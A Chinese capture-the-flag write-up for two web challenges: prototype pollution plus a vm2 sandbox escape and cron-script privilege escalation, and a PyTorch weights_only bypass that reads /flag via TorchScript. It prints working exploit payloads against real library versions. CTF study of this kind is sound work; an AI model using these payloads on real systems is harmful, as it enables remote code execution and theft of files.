Post

软件系统安全赛区域赛部分wp

主场作战

软件系统安全赛区域赛部分wp

Web - nodejs

观察源代码,发现merge()函数,考虑原型链污染:

1
2
3
4
5
6
7
8
9
10
11
12
function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') continue;  
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}

注意到禁止了__proto__属性,所以考虑采用constructor.prototype进行污染。

先注册账号,然后修改请求:

1
2
3
4
5
6
7
8
9
10
{
    "oldPassword": "777",
    "newPassword": "77",
    "confirmPassword": "77",
    "constructor": {
        "prototype": {
            "isAdmin": true
        }
    }
}

即可获得管理员身份。

发现vm2沙箱环境,并且需要管理员权限才能开启:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
app.post('/sandbox', async (req, res) => { 
    try {
        const sandboxResult = { value: null };
            const vm = new VM({
            timeout: 5000,
            sandbox: { __result: sandboxResult }
        });
        const result = vm.run(code);
        await new Promise(resolve => setTimeout(resolve, 500));
        res.json({ 
            result: result?.toString() || '执行成功',
            output: sandboxResult.value
        });
    } catch (error) {
        res.json({ error: error.message });
    }
});

注意到package.json中:

1
"vm2": "3.10.0"

代表过去的Payload无法直接复现,根据版本,认定为CVE-2026-22709,直接采用如下payload:

1
2
3
4
5
6
7
8
9
10
11
12
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('ls')"
    );
    f();
});

通过命令执行发现:

1
-r--------    1 root     root            43 Apr 19 03:03 /flag

说明需要提权,根据ps aux结果和/start.sh/backup.sh,发现每30秒root身份会执行一次/backup.sh,所以:

1
chmod 777 /flag > /backup.sh || true

等30秒读取/flag

1
dart{313f478f-3ec3-4826-bc23-0f654b63f566}

Web - ai_sms

打开题目后,可以看到关键信息:服务端使用 PyTorch 2.5.0且启动了weights_only=True,结果保存在/app/results/{user_id}.txt

看到版本直接想到pytorch2.6.0 版本之前,torch.load(xxx, weights_only=True) 安全机制的绕过漏洞,也就是CVE-2025-32434,用本地的payload先尝试一下:

1
2
3
4
5
6
7
8
9
10
11
12
import torch

class MaliciousModule(torch.nn.Module):
    def __init__(self):
        super().__init__()

    def forward(self, x):
        torch.save("\nhacked\n", "/app/results/1.txt")
        return x + 1

malicious_script = torch.jit.script(MaliciousModule())
torch.jit.save(malicious_script, "malicious.pt")

上传后访问:

1
/result/1

发现成功。于是考虑使用 torch.from_file() 读取任意文件,直接读取flag。由于torch.from_file(path, ..., size) 中的 size 不能乱填太大,否则会映射失败导致文件不更新。考虑到flag格式大概率是uuid格式,所以尝试几次,发现把读取长度调整为42的时候可以准确读出:

1
2
3
4
5
6
7
8
9
10
import torch

class Payload(torch.nn.Module):
    def forward(self, x):
        t = torch.from_file("/flag", False, 42, dtype=torch.uint8)
        torch.save(t, "/app/results/1.txt")
        return x + 1

m = torch.jit.script(Payload())
torch.jit.save(m, "flag42.pt")

本地解析下载回来的结果文件:

1
2
3
4
import torch

obj = torch.load("result_1.pt", weights_only=False)
print(bytes(obj.tolist()).decode())
1
dart{d85a1aee-55b7-4bdb-bad7-151cc70c5992}
This post is licensed under CC BY 4.0 by the author.